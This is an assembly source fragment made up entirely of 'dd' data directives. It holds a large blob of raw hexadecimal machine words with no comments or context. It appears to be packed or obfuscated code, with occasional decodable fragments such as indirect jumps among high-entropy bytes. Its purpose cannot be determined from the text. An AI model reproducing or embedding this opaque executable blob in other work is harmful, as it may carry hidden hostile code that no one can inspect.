dd 8BB5304h, 81000000h, 0A85380EBh, 81F30100h, 0A85380C3h
dd 5B2B8900h, 5324348Bh, 0C381E389h, 4, 8704C383h, 0FF5C241Ch
dd 835D2434h, 4CE904C4h, 0D6FFF95Bh, 0B872E8CFh, 5F0243Fh
dd 0E0FFC503h, 7C14034Fh, 32D9894Fh, 34105B9Dh, 56AB7383h
dd 5BD1C527h, 4F5B501Eh, 17ED4F9Ch, 3DAF810Ch, 2F78BF62h
dd 0DCE0F10h, 55A6E38Ah, 7F9A3AADh, 255397B7h, 36179D63h
dd 7AA837B5h, 3B04E1D9h, 1689A581h, 6A6E7F63h, 7D1D9D1Fh
dd 4D4D6553h, 6AFFA9FBh, 79CB662Ch, 44D21B26h, 46EA43A8h
dd 49258ABBh, 16BD05Ah, 65C92F28h, 4A1B9C2Dh, 4A114BEBh
dd 4C94263Ch, 6B8B04EBh, 8E90AA9h, 88000005h, 1E042148h
dd 0B096B3E2h, 41274473h, 0D0B6D306h, 464A6792h, 0ADD8169Ch
dd 4269AA90h, 0D5003F25h, 6598D2B8h, 0EC9A7B48h, 13393FAAh
dd 0C2FDDB34h, 63275588h, 7D57FA25h, 19E31140h, 225083BDh
dd 2E14BB58h, 0CF93C1F4h, 29346295h, 46E3124Fh, 0C7F52460h
dd 6B99C403h, 84469A7h, 654977D9h, 711787EEh, 437D274Eh
dd 0CE0DF310h, 61A086A3h, 3440836h, 53CAAEDCh, 920C3B22h
dd 0CDEDF356h, 0ED2C12AFh, 85BFA5C2h, 0B78C2452h, 0FF16C93Dh
dd 4A1695E0h, 6640CFF0h, 5Eh, 5588C22Ch, 1ACD8F27h, 0E60516C9h
dd 8D9FCE8Fh, 0EA790055h, 0F9A78623h, 0F740CFF9h, 1, 5786C2BDh
dd 0FA296529h, 9ACD08CCh, 14435E6Ch, 0F09EC63Dh, 16C9E5AEh
dd 0CC09BA30h, 98CD6AD7h, 0B15F80DDh, 16C97BEDh, 0F8DE7BF1h
dd 265993BCh, 87C1A7C4h, 1D87CE05h, 6DCF4809h, 84C22250h
dd 9E3B80Ah, 1670B911h, 9DB43739h, 6492F456h, 73564A0h
dd 0A9E6C017h, 49884C7Ah, 0C426F01Eh, 0DA83F227h, 5D9AC300h
dd 0D436002Eh, 0E8135137h, 37ABE5CBh, 0C981C589h, 0F153C916h
dd 1FFA1F4Eh, 24D96651h, 0CE0BCF87h, 0D6386BA5h, 3D38D9A8h
dd 0CFC7B26Eh, 0ACCE40h, 0C2940000h, 672B5984h, 9CDFB2Ah
dd 0AC709ECDh, 9A12406Fh, 85332A4Bh, 16C91AC1h, 4FF557CDh
dd 21651334h, 0AD16C91Ah, 10659A37h, 387E2C4Dh, 0C616C91Ah
dd 89B8F450h, 0EF4915Bh, 0DBCD56D0h, 5F20BB3Ch, 3294F621h
dd 0FEC06E8Fh, 16C99Eh, 0C1F42E8Ah, 852CC993h, 836619Fh
dd 0A8D60944h, 6E3D38D9h, 40CF51B2h, 58CEh, 84C29400h
dd 28672B59h, 1D01BEAEh, 0C9212F6Fh, 8839AF16h, 0B315E877h
dd 5883C185h, 0F82B662Ah, 2E619Ch, 623C3988h, 20DC0B52h
dd 0AD14255Dh, 552055F2h, 0C9E6114Fh, 22D46D9Ch
dd 0E968AB73h, 86C21E4Ch, 0B0912957h, 616C91Ah, 731D8EE7h
dd 6D40CFD7h, 1, 63A17B33h, 78B59B38h, 36101B49h, 472DCAF9h
dd 0C8ACDA0Dh, 5F392451h, 7359F621h, 0B1EA0736h, 9846E959h
dd 1C31F50Bh, 0EB1A5630h, 53F66C4Eh, 78472524h, 0DAAC7E2h
dd 0D5579155h, 42095332h, 683FF0FAh, 0D919E303h, 0CFFC197Bh
dd 0EB88BBF5h, 649ECB05h, 0D7390331h, 414F11A9h, 549B1320h
dd 41C18533h, 8EC91320h, 0B632D5Bh, 0B2C3F895h, 6885B8F2h
dd 0DBC64882h, 1D4887F1h, 8BD6E96Ch, 5FC1F42Fh, 336D31h
dd 0C88E3C5Dh, 0D6132078h, 1B0BC360h, 7CAFEAC4h, 0B2E7844Eh
dd 81C09AC3h, 29642856h, 9CFEC8F6h, 0ACDF19FFh, 0C1F42F09h
dd 306DC993h, 0DEBD6401h, 4526B532h, 1162Eh, 176FF400h
dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h, 0D1ABB6E4h
dd 703A6893h, 86B3EDD3h, 21EB194Ch, 4AA191BFh, 0D8063170h
dd 393C710Eh, 0E1FE316Bh, 26E65E02h, 565245h, 6F180000h
dd 0E203A618h, 0C91A7234h, 69067C16h, 19188E3Ch, 0BADB16C9h
dd 0C91A4A0Ch, 82DE5416h, 9B7D1A41h, 1A7036E4h, 87E16C9h
dd 0ED2903A6h, 29C690BEh, 1A95D971h, 6B0816C9h, 5924530Ah
dd 0FD5BEC4Eh, 0C639C39h, 0D549F79Ah, 5916C922h, 84E8C6E3h
dd 28000000h, 4AE54C7Bh, 7F4EDD48h, 0E151A9E2h, 968B903Eh
dd 66401C32h, 97C60227h, 40B69835h, 0A26B6E9Dh, 614FC3C2h
dd 0E0010CC4h, 20D36C32h, 5FFC7213h, 0EF0C3F79h, 7EA9E8C2h
dd 3E98650h, 0D06896C9h, 1320D331h, 0A10372C1h, 0DE173467h
dd 0C5731686h, 19D13CECh, 0D296C43Ah, 53376598h, 60B899DCh
dd 0EB8C5CA1h, 0BA165E64h, 4AED4F7Eh, 216DB79Ch, 0D679EF1Ch
dd 6290BFFCh, 0D449E798h, 262346E4h, 6FB4E289h, 0D504A717h
dd 5D31FEDAh, 719E3B03h, 0C377650h, 0BD7714DEh, 1C385994h
dd 232E5CD2h, 2FE00B49h, 4FFC9C51h, 0CAB04D19h, 5A405D90h
dd 27BFED20h, 1052860Fh, 0D97DE01h, 0DC305FD3h, 0B3F57197h
dd 77236393h, 35AB1C60h, 710130D3h, 8E71C02Ah, 1E78E2Bh
dd 0A26694C7h, 0D1FC3A67h, 73A2DFA3h, 4978B511h, 5ED5B9E7h
dd 0D1538D17h, 6221C0D2h, 17A9B114h, 501FB667h, 987E9BFDh
dd 41FD2B5Eh, 3, 0C233A181h, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh
dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h
dd 864775A4h, 5A2568h, 240C8900h, 1DA968h, 24048900h, 52AE68h
dd 24148900h, 4B83B951h, 0B7B87A0Eh, 18BE1D9h, 240C8BC8h
dd 8104C483h, 4ECh, 24248900h, 4240481h, 5A000000h, 0C3895355h
dd 895BDD89h, 0FF5D086Ah, 815A2434h, 4C4h, 24048B00h, 5E08950h
dd 4, 8704C083h, 0E95C2404h, 0FFF955B7h, 0B855EE31h, 5F029D7h
dd 0E0FFC503h, 71D5336h, 4175D2C9h, 473FF105h, 3807EBC3h
dd 70B7C664h, 6ADC6085h, 648009A1h, 33F8F78Bh, 353644BEh
dd 5E2A91Ah, 3A4981C6h, 151BB378h, 61352786h, 613D4D46h
dd 5264662Dh, 67C369C9h, 54356A2h, 30BC0CD3h, 22D36FBDh
dd 4CFDFCACh, 423D4EF3h, 0EB5C2F0h, 474FB3BAh, 0DE8h, 0C1F71C00h
dd 76B120B9h, 243EFA44h, 0E852AE3Eh, 10h, 9F2AD753h, 4B155321h
dd 0E05A83BAh, 5C6137C2h, 5F5B5B51h, 13E8565Eh, 25000000h
dd 0EFAAAEh, 9A66995Bh, 0DA073A8Dh, 7436998Bh, 0AE920B7h
dd 9A000000h, 1B95900Ah, 0BFB72977h, 815B59D9h, 58D7C6h
dd 6E900h, 859D0000h, 6D96080h, 1600BAh, 0CE900h, 0AFFA0000h
dd 84685A7Bh, 0F21B4A1Fh, 36FFB79Eh, 58C9BF0Fh, 0C4AEB81h
dd 0C0811DF6h, 8255A7Ch, 1FE6F381h, 0C081758Bh, 7FEBF6DBh
dd 608AC081h, 8B6665D9h, 810689FEh, 0CC5406EEh, 8198B564h
dd 0CC5402C6h, 830F5064h, 15h, 10E9h, 0B05A3300h, 0F37EDB90h
dd 0C7F7F2AAh, 1EF0B7C4h, 0EA815997h, 1, 0FFA0850Fh, 69B1FFFFh
dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0A1B58B00h, 8305E92Eh
dd 850F00FEh, 22h, 0EE585C6h, 684505E9h, 8E726969h, 2345B5FFh
dd 858D05E9h, 5EC7A6Fh, 8589D0FFh, 5E91761h, 3E80F08Bh
dd 31850FE9h, 8D000000h, 0EE7BB685h, 8BD0FF05h, 0E91D19BDh
dd 84C78105h, 8B000011h, 0E92EA1B5h, 0B9F78705h, 8, 0B58BA4F3h
dd 5E92EA1h, 2B6B858Dh, 0D0FF05EDh, 3039B58Bh, 0FE8305E9h
dd 22850F00h, 0C6000000h, 0E90EE585h, 0F4685405h, 0FFFF4EBEh
dd 0E92345B5h, 6F858D05h, 0FF05EC7Ah, 398589D0h, 8B05E930h
dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 5E93039h, 7BB6858Dh
dd 0D0FF05EEh, 1D19BD8Bh, 0C78105E9h, 1184h, 8B08C783h
dd 0E93039B5h, 0B9F78705h, 8, 0B58BA4F3h, 5E93039h, 2B6B858Dh
dd 0D0FF05EDh, 858DC361h, 5F02B8Ch, 16D58589h, 4EB05E9h
dd 47AE0A14h, 4FCE9h, 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h
dd 7DB0EBD1h, 113C7A60h, 0C8F2F0F4h, 5C425F8Ah, 0F1D7F41Bh
dd 846A87B2h, 2DFA174Ah, 36D89E4Ch, 8DE61339h, 5588C2AFh
dd 0FA256327h, 90BDF7DDh, 30FA284Fh, 0A2DCA0CEh, 0D9073A75h
dd 0BB7FAD0Fh, 1422507Fh, 0E62084F1h, 0F93610B3h, 3326ECAh
dd 0C76E0BD5h, 0D477A2E1h, 6290BBFAh, 0D2FD3C98h, 963DDAA4h
dd 184671B0h, 0BEEC1354h, 4B1263DAh, 1A3A7C2Ah, 4EC416C9h
dd 678CCBB1h, 0B8D1FF26h, 0B789B034h, 0A103651Eh, 31649E84h
dd 0E11EF803h, 665B15B2h, 9C16C902h, 0E902305Fh, 55666DC7h
dd 99D7337Dh, 0D26F406Eh, 98C301A3h, 163EA06Ah, 632D7EF7h
dd 7140CF6Dh, 0FB295C97h, 47739431h, 39000000h, 275588C2h
dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 4C866040h, 15B7C19h
dd 21000000h, 0B45786C2h, 0D06DA0DAh, 0E9185418h, 42B6C46h
dd 0B0EBAF67h, 1AC88E3Ch, 60D616C9h, 9FC2D0FEh, 6392CED6h
dd 0F3266046h, 84C2A8D6h, 9BDCB659h, 5B1FD774h, 0D2C2F01Fh
dd 3366A17Bh, 90146196h, 0C4EF2D52h, 1A337321h, 45BB16C9h
dd 0A6E0C6E3h, 44814573h, 7718E715h, 0D5F3ADFEh, 900D40CFh
dd 0D3000000h, 0E862A17Bh, 3B73AFDAh, 0C9F75973h, 3E7C62FFh
dd 0E421E513h, 5E7987B5h, 0A6CF8F3Dh, 59CF16C9h, 0B6EE87BCh
dd 0E6195378h, 0BFFFADB8h, 3F16C9A6h, 0CA0B67C9h, 49AB75A3h
dd 0EA25FF2Ch, 22BF89B7h, 0A5D3FE3Ch, 3C79A6E1h, 0AE7DAB0Dh
dd 8D43680Dh, 0A340CF69h, 58h, 2453906Ah, 0A893D381h, 0A51B16C9h
dd 84C2DA08h, 28672B59h, 857CFFDh, 8DF9376Dh, 0C91A9FDFh
dd 0B0DF1B16h, 0EA60B882h, 643E6B88h, 8CCFA25h, 0A7719FCAh
dd 0C27AA845h, 91295786h, 16C91AB0h, 0CF8EE706h, 5490B9F5h
dd 0CB2DF725h, 0D7814F2Eh, 19F40CFh, 65000000h, 671585C2h
dd 16C91A27h, 2CCF31A7h, 4BE81352h, 1395CF93h, 661457B7h
dd 16C98B20h, 558738AEh, 0F295F77Bh, 7CAADD18h, 0AF83C371h
dd 950B16C9h, 0FADE9633h, 4873B18Bh, 0A5FF76ABh, 44AF868h
dd 8A16C9AFh, 8E30BFC5h, 0D2346384h, 4C265370h, 0D46E30Eh
dd 0F4A245B5h, 1C31486Fh, 538724Ch, 0E2108668h, 94B1E41Eh
dd 0C4774AEh, 4674A3DFh, 81BE1A7Ch, 2AC2F052h, 13208266h
dd 0CCFA2D68h, 0AD5BCB08h, 132082E9h, 0EF1D7FF5h, 0C9D5A0FFh
dd 5A9872B9h, 9A37012Fh, 5A941065h, 96C4EF2Dh, 674D6ACCh
dd 8CCFA2Dh
dd 7D6D9BCEh, 134D571Eh, 3CE4C3E0h, 3445264Fh, 138h, 0A7176FFAh
dd 14C2E304h, 16C91A52h, 0C2F01758h, 8D2AA0F8h, 32097ED3h
dd 8F32A81Ch, 2BFEC06Eh, 8A001320h, 377135EDh, 0C701E704h
dd 68A26694h, 0B8170735h, 7AADE7BDh, 7D87B6D7h, 8913D004h
dd 19551949h, 0E3591320h, 98729F46h, 0B4933057h, 4526D4ECh
dd 0B0E31EF8h, 567DBE82h, 0A0FC5E28h, 74953265h, 4Ah, 65186F3Ah
dd 0C91AF7B7h, 1F81F716h, 45815B7Ch, 811EE816h, 0C91957C7h
dd 3361D716h, 0E3124E28h, 1ACA8C46h, 92D016C9h, 34753967h
dd 1867DF0Dh, 3BD8415Dh, 54C0173Ah, 0E588EA15h, 0C919A737h
dd 1431A716h, 8736h, 176F7600h, 555604A7h, 0E11C321Eh
dd 0B0EEC86Bh, 2530E885h, 0EA6FA4F6h, 5DCB7CAFh, 7C62FF6Dh
dd 3D6C0F42h, 7485354h, 37E8B2E0h, 0BD5AC6B0h, 0C9F63016h
dd 0CCFA5C8Fh, 203ACD34h, 670E5D13h, 0B3D0033Dh, 0FB2227Ah
dd 0D1DE9A61h, 6B4D519h, 16D01640h, 3E7CD84Eh, 7E1BE513h
dd 0C2ED2C9Ch, 0A4E3BD60h, 6628D679h, 6816D016h, 0D99D55F2h
dd 5A3E6C9Fh, 67BF92E3h, 67A654F7h, 6B1C21F2h, 6492BDFBh
dd 0ED1B389Ah, 4A7176Fh, 38FE9756h, 6CAB1B1Ch, 0EDB1DF41h
dd 7D6380B3h, 4AE21043h, 0DD5323F1h, 3A1D4F7h, 0C10047C9h
dd 3C7B3BE9h, 0D835167h, 3E8025Ch, 194C28F9h, 77D93B6Ah
dd 5E0C2D5Ah, 5167B118h, 0AD9330A6h, 4E124073h, 0EEB2E013h
dd 935785B0h, 0AFA2857h, 9CDACAABh, 24930F71h, 3FDC0F4Ah
dd 0FF396B0Ah, 8FC9AFCCh, 14722E5Ch, 0B2000000h, 651334A1h
dd 16C91A21h, 0CA8637ADh, 0EAE22355h, 0C2B5E380h, 692D5B82h
dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
dd 3E023063h, 0E0A4D201h, 864775A4h, 108E68h, 241C8900h
dd 5E08950h, 4, 8704E883h, 895C2404h, 1168243Ch, 89000054h
dd 9068241Ch, 8B05F02Ch, 0C483243Ch, 7656804h, 24890000h
dd 24048324h, 0B9515B04h, 8, 8F57D901h, 34FF5901h, 0C4815B24h
dd 4, 5F2434FFh, 4C481h, 6CE90000h, 98FFF94Eh, 312BB8D4h
dd 0C50305F0h, 0D7D1E0FFh, 54584FE0h, 9EDF625Bh, 92E47114h
dd 761302DBh, 0A3310203h, 8D8D7B02h, 5F03253h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4AC35343h, 816653ABh
dd 5F937CEEh, 26558D89h, 0CF8005E9h, 585C739h, 7005E908h
dd 8900005Eh, 0E928B1B5h, 3D85C705h, 5E916h, 6A000000h
dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h
dd 45000000h, 0FED0C355h, 2996DBE8h, 0F3BD3A0h, 68Ah, 519D8900h
dd 0FF05E930h, 0E903F5B5h, 0BDB58B05h, 0FF05E91Ch, 0E90BC595h
dd 0BE905h, 6FF0000h, 0B15A5AFDh, 0DDBAA568h, 0FF006A39h
dd 0E91E9595h, 0EBC08B05h, 97B5D90Dh, 0DBCF5F87h, 875E5B1Fh
dd 4EB122Ch, 6285DF17h, 0D4FE9h, 344A6800h, 7CE905F0h
dd 68FFF94Dh, 5F03576h, 0F94D72E9h, 37C268FFh, 68E905F0h
dd 68FFF94Dh, 5F0390Bh, 0F94D5EE9h, 3BF168FFh, 54E905F0h
dd 68FFF94Dh, 5F03D69h, 0F94D4AE9h, 3E3668FFh, 40E905F0h
dd 0CFFF94Dh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah
dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h
dd 782607D4h, 13392836h, 0A8825FB8h, 73A13E69h, 0EAAC5A7Bh
dd 0F416C91Ah, 0EC1A4584h, 2564C022h, 3D775DFAh, 0DE18DC0Ah
dd 98727DABh, 0A98F2C5Bh, 2D113F6Ah, 0ABE5BFB6h, 37755B78h
dd 0CF09EF0Ch, 70AA6E9Ch, 0C4F3203Dh, 0AD5BF1F8h, 16C931E9h
dd 72CE7FF5h, 548D2AD3h, 0FE98CFCh, 0AA74A2D5h, 47155907h
dd 239916C9h, 22AB5986h, 0E11C327Eh, 33BA82B2h, 12AFF9EDh
dd 0F48CBA30h, 132025CEh, 9ECCF334h, 43719CDAh, 1D81F453h
dd 0FD6015B6h, 2346CACEh, 29C62824h, 26D6864Ah, 7AB48E45h
dd 3189AA47h, 4F000000h, 4A7176Fh, 32294D56h, 0A043B91Ch
dd 266388C6h, 9DFFC9F7h, 3F6EAB6Fh, 48E54711h, 0BCAF890h
dd 8C2D1320h, 0C61EC2E9h, 0ED124526h, 0D8000000h, 661488C2h
dd 16C91A20h, 0A8D638AEh, 4D7BA6E4h, 276842h, 10437D63h
dd 0B1E41EE2h, 16CBDA94h, 114B16C9h, 0A1DBC1DEh, 0A6083774h
dd 9C07D403h, 3F3B59F6h, 7BD3EAA2h, 7BA9D011h, 0D2AC4FB1h
dd 47181795h, 746C1673h, 9A487512h, 1C313221h, 0E514502Ah
dd 6E50EDB7h, 4AA2DBF8h, 858937DAh, 3E19C674h, 887F250Fh
dd 417E9CD4h, 3113B012h, 3E18BBh, 0F01132D5h, 0CB0C7C42h
dd 0DC0C8216h, 16CB0C9Ah, 6A11AE24h, 0EA1B4684h, 6F69AE8Ch
dd 0CB07C3BBh, 7800000Ah, 0EF41138h, 0A086A3D2h, 31173463h
dd 0C0A6C3F6h, 363A5782h, 9DC806ACh, 32599A80h, 0C5F02F15h
dd 5588C2A8h, 0DC8A6B38h, 13392E9Ah, 7BEDCB24h, 1742805Ah
dd 0C91AA7E7h, 14B12716h, 0A8C5F02Eh, 385588C2h, 84F4310Bh
dd 0C91A90D6h, 46A81E16h, 83B14E18h, 4A7176Fh, 5170B4E3h
dd 4B27FCC5h, 2D4E7AFFh, 4CE94B9Fh, 32319192h, 517FF51Ch
dd 201389B9h, 284DEE13h, 0F01F5B35h, 0DEAC7453h, 0EAC44526h
dd 8A000000h, 0B25588C2h, 427097D8h, 1AC58937h, 53C916C9h
dd 919C54F1h, 1AFCC270h, 8C0216C9h, 0A0CB09EFh, 4C8D6772h
dd 902DF725h, 0C916CFD6h, 0E2154F16h, 0F82B653Fh, 0BC6300CAh
dd 3B699CD6h, 0B95CCC24h, 1EA4EA98h, 0B42A16C9h, 0EFC9EA17h
dd 1F4E8BB0h, 0D56620BDh, 211C31F3h, 0FD558EABh, 3DD89E4Ch
dd 70E61320h, 469887BFh, 9AFCA05Ch, 5CF649F7h, 17F119C6h
dd 2C0EABDAh, 0F83913B6h, 0A4DFA3D1h, 45720F71h, 5F022D6Bh
dd 35859830h, 77D3F035h, 0C76E0B3Ah, 4778A3E1h, 6F697DEFh
dd 9FAA665Eh, 4C000009h, 0E2C8E50Ch, 745A77A6h, 5EB0837h
dd 947A97CAh, 0A0E2B56h, 79A4E2D8h, 0E35765Ch, 0A1CC0BF1h
dd 31649E84h, 0B8664714h, 13392FF6h, 0C2C19FF8h, 0FA235F84h
dd 986290BBh, 0D1B7D436h, 1A476497h, 38D50440h, 5588C20Ah
dd 21FB1C27h, 0C589B9E0h, 0C916C91Ah, 96D0B653h, 0EA194663h
dd 97BCF76Dh, 2EE885BCh, 16C9E214h, 0E401346Eh, 5B97C4FEh
dd 0D89CCA2Ch, 0B9B41C9Eh, 0D402316Eh, 26BE590Ah, 5C4C7ADCh
dd 0F22C78FDh, 1B8ED07Eh, 0A01016C9h, 74D6385Fh, 82FB2A57h
dd 618EC1C5h, 60300FACh, 8040CF00h, 0C4h, 336D47h, 0D1EFAF5Dh
dd 79EF16C9h, 4C7BAEDCh, 6DCC5E79h, 0BE6C0FCEh, 16C930F8h
dd 0BAF39006h, 0A14FF262h, 1C321BE4h, 99C805DFh, 76A41AFCh
dd 0DA9C4A6Bh, 0E0132029h, 7F4977A2h, 1855B127h, 0B0924CE9h
dd 0C7132029h, 0B45C4F26h, 0AC4526E0h, 70h, 1AD5EE72h
dd 82DA16C9h, 50C16F12h, 961C322Eh, 0DF1D0320h, 0FB3711B4h
dd 37D49ECCh, 0A010687Fh, 0B9E423FDh, 0E441EF1Ch, 0EA19DB32h
dd 32715774h, 6AC2D907h, 642857FAh, 2749B9F1h, 0CF7DAA47h
dd 1C325CCEh, 837DA50h, 0D11115BCh, 0C8BE6F72h, 18098109h
dd 36630AA7h, 67ED1407h, 88250C47h, 549AAh, 1CCAEB00h
dd 1320D15Ah, 2351EE64h, 4A7176Fh, 322A4D56h, 3F6E1Ch
dd 0B5E42072h, 6525C704h, 0CD70E6C8h, 0E885B8F3h, 69AA9830h
dd 2CCD1320h, 0A0BE6249h, 0FB24526h, 79000005h, 6570844Ah
dd 0C403839Fh, 6C9A3799h, 0DEFF5084h, 0C91A6E30h, 57FA7016h
dd 0C91AE5A9h, 0D673E916h, 32D5459Dh
dd 321C6384h, 0E731601Ch, 0FDE15623h, 82CEF6A7h, 57DF457Fh
dd 3362D8BAh, 0E752869Dh, 6DDD35B5h, 0DA88A9CAh, 0BAE57294h
dd 0F1B5631Ah, 0FDBAE572h, 0CE882587h, 0B01E4431h, 0EB1E5832h
dd 5697F3BDh, 9A37012Fh, 0FDEBF3B8h, 5A913A5Ah, 5BB3CAF8h
dd 6295D0AAh, 743A6A34h, 7ABF0C04h, 51FFA204h, 0B5F04E22h
dd 2E4FF268h, 702A30FFh, 9C520336h, 391FBC50h, 82AFCCFFh
dd 0A34067A8h, 1F5083BDh, 0C341E375h, 5308C4BCh, 7, 967C99C0h
dd 280E2B5Ah, 0B99FBCEBh, 482E4B7Eh, 0BEC2DF0Ah, 25508E24h
dd 0BAE12208h, 4D78B79Dh, 0DD104A30h, 6412F3C0h, 13392D22h
dd 0C27553ACh, 0F01F5B88h, 0D511EB8Eh, 7B5F78A6h, 9E64D25Bh
dd 6D25C224h, 9F4DFE56h, 16C9C2DFh, 640769DFh, 0E8264B8Ah
dd 632D5BBDh, 6EEB99C6h, 0E81C312Ah, 0B6F5CF72h, 20416E8Bh
dd 20E52C72h, 9F3CB213h, 14557AB9h, 0EE88BEDh, 4B03A0D3h
dd 20E5F3B3h, 0D51F2313h, 0B8101320h, 6F76A548h, 0EA15DEB1h
dd 0CB79A643h, 19DB00D2h, 2243E65Ch, 0B0E00748h, 16C928EEh
dd 25DD7AF0h, 0D601401Ah, 28437F39h, 82BF16C9h, 24612553h
dd 0C603C7F5h, 0D1A41B97h, 0B0C566CDh, 90677EADh, 201678E6h
dd 0B5FCA483h, 2AF440CFh, 0BA000000h, 6CAD176Fh, 9240E345h
dd 1C322359h, 0CCFB3812h, 5537D49Eh, 27623CDFh, 0D4105B3h
dd 0D74D1320h, 6420D875h, 31h, 0AC5A7BA4h, 16C91AEAh, 0A8E17EF4h
dd 1C3DE050h, 1A094DFBh, 1F9516C9h, 13A3C882h, 3CF31C32h
dd 201DC88Eh, 59267D13h, 0D80E3225h, 7AA80A80h, 5B88C26Eh
dd 88B7F320h, 0CC2EF826h, 6BC4F79Bh, 823E366Fh, 60Ah, 335077B7h
dd 0C5E2114Dh, 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h
dd 98D9BFDCh, 2F6E5471h, 0C701E704h, 0C9AA7794h, 39235B1Bh
dd 2C0A6313h, 6CAD176Fh, 0EB4D1745h, 1E8D9A48h, 1B911C32h
dd 0BCEF29EDh, 1C5CE59Fh, 305F3879h, 5CBF562h, 9CDB3796h
dd 0DC794371h, 0BDDA4CA3h, 19BC2C84h, 6529D7F8h, 65346B0Ah
dd 2FA5FD24h, 3B3D892h, 3E033E90h, 431A12B3h, 81AF1197h
dd 5C0381BDh, 9CC3047Ah, 0D9F3A46Eh, 3C59BB39h, 0F7ECAB03h
dd 0BD8656EBh, 0A0C164C6h, 0BB588BC6h, 795AE401h, 0C6F46A3Bh
dd 6B72142Eh, 0B3C26334h, 6DBB28F8h, 1344862h, 0E00F0000h
dd 6F1DA530h, 62902D2Fh, 6CAD176Fh, 0EB4D1745h, 3DF82748h
dd 0A72E103Ah, 6E7731CEh, 0F01C329Eh, 4E884C7Ah, 53B5E421h
dd 1EDA0936h, 733DEF49h, 9BC2035Fh, 2006A36Dh, 0ED85B3E6h
dd 3879AD54h, 70344164h, 9ECD0936h, 0FF391F3Ch, 0BD069ECCh
dd 0A51F3297h, 0EF225C36h, 93BEFDC1h, 165F9431h, 421548Eh
dd 83B1E41Eh, 345F9E78h, 99095E97h, 26C92B5Eh, 0AFEA0B4Ch
dd 28EC1A7Ch, 0BD5ABCEBh, 2D4E6F90h, 20A73F7Fh, 1949BF13h
dd 1320A755h, 8C46E359h, 1320A7AAh, 6194CFA9h, 0C96CE2C4h
dd 0A7B4FAA8h, 0FA361320h, 0A1FD73CBh, 3C063467h, 67BFF89Fh
dd 0C5A654F7h, 1119DB96h, 29D7F89Bh, 16C9B865h, 9E56F369h
dd 0CA6DA0DAh, 5482B5F0h, 6046ED8Ah, 2DC5F326h, 16C9B871h
dd 1193E259h, 0CD87A4D7h, 0EA9DB06Fh, 0B7873968h, 2555A46h
dd 0A386BA6h, 136AA340h, 649E84A1h, 7AB48E31h, 94165806h
dd 2298629Dh, 0D36B23C0h, 0E8DFFA63h, 693B3A5Dh, 0F9DFFC2Fh
dd 535E8CBFh, 710E3D79h, 0CD70E038h, 2133BE1Fh, 6D8A00EEh
dd 3E8Fh, 176FCF00h, 9E304A7h, 46009DCCh, 1C322395h, 0B97DAB21h
dd 0F6314E7Dh, 90E5DB6Ah, 0D0C47DCBh, 9BFD3A5Fh, 8B6D7F8h
dd 13206E46h, 56A3F7EFh, 9EF66D56h, 85D18B28h, 91320BCh
dd 7BBE0093h, 73E466A1h, 0FCB7C28Fh, 7B4573D5h, 91BEF8DEh
dd 0EBF62457h, 0C92D793Dh, 0AD0F8516h, 9DF52E4Bh, 93DC8A2Dh
dd 0D01C321Bh, 0F08DB8F6h, 0C6F5980Eh, 96E26B0Bh, 2C59F60Ah
dd 0CBE81352h, 4D7BA6E5h, 0CB6EDE36h, 97BAFCAAh, 7F441320h
dd 509A22B3h, 19E0071h, 41A526D4h, 3BB119D8h, 0BE4D750Dh
dd 0A6216C9h, 5C49F79Ah, 0E21C32A8h, 9CA63E6Ch, 0DB132080h
dd 0A0703B3Ah, 0C045264Dh, 22h, 58176F86h, 25D33148h, 16C97061h
dd 6F46F76Dh, 8AB0DF3h, 321F815Ah, 719F151Ch, 0EB5h, 176FF500h
dd 355604A7h, 811C3213h, 0C2D1DD0Bh, 6E245588h, 0DD6F6BC5h
dd 32429E5h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh
dd 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh, 9265190h
dd 99B6E923h, 793DEBCCh, 85133921h, 88C24E2Ch, 1A206614h
dd 38AE16C9h, 44729DDCh, 9B75187Ah, 783EEC60h, 8616C91Ah
dd 5911AE10h, 0B285B95h, 48CA04DEh, 3D4CAEF1h, 5AFD5F93h
dd 0C986EAACh, 0E17EF416h, 3DE050A8h, 86286E1Ch, 71B216C9h
dd 0FA521C4Ah, 0CBAE784h, 1C32BF83h, 9872158Bh, 0D68E2B5Eh
dd 2090043Eh, 10437E13h, 0B5E01EE2h, 87B66E87h, 0E6F62497h
dd 1C82F36Ah, 0FC6114B5h, 19B6E522h, 26E3963Ah, 358A45h
dd 6F500000h, 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h
dd 225083BDh, 0C3F1245Eh, 910D68DFh, 71EC892Ah, 4253542h
dd 3EDB3839h, 262AB15Fh, 0CDAF45h, 0C2750000h, 83B25588h
dd 7483F230h, 1DCDC7EEh, 0C8ECBE6Fh, 217A2A5Dh, 0FF61FA83h
dd 0A8E6AA62h, 518B4F7Dh, 0BE5F01Eh, 2006A3CAh, 0DC96B3E6h
dd 16C920C5h, 39DC0F49h, 0C8F6215Fh, 3467A2FEh, 0F89F3C06h
dd 2A5D812h, 20BDEC28h, 89F95168h, 0A3CE0CE6h, 822BD906h
dd 0CC1C3227h, 0FE84B356h, 101A4FC0h, 0E9AEABF1h, 253E6738h
dd 50A8E188h, 0A48F3DE0h, 0EE19C6E8h, 0BDFBD578h, 19487592h
dd 9F5A3DEBh, 3A20BD5Eh, 10A0D1FCh, 5F6F68ECh, 1ACAB67h
dd 19590000h, 0B3EFD5F2h, 44816784h, 0D712F815h, 63A187A4h
dd 0CB171B38h, 6986B1EFh, 0FE1B4283h, 91AED918h, 213E71ABh
dd 81C57354h, 0D133927h, 84C2D6B4h, 1C563C59h, 6F9ECCE9h
dd 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h, 476411B2h
